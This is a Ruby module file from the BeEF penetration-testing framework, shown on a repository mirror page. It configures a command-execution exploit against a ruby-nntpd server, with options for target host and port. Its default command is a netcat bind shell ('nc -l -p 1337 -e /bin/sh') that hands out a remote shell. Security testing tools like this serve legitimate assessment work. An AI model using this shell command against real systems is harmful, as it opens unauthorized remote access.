Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/ruby_nntpd_cmd_exec/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
###
6
# ruby-nntpd homepage: http://code.google.com/p/ruby-nntpd/
7
###
8
class Ruby_nntpd_cmd_exec < BeEF::Core::Command
9
def self.options
10
[
11
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
12
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '1119' },
13
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
14
{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => 'nc -l -p 1337 -e /bin/sh',
15
'width' => '200px' }
16
]
17
end
18
19
def post_execute
20
save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
21
save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
22
end
23
end
24
25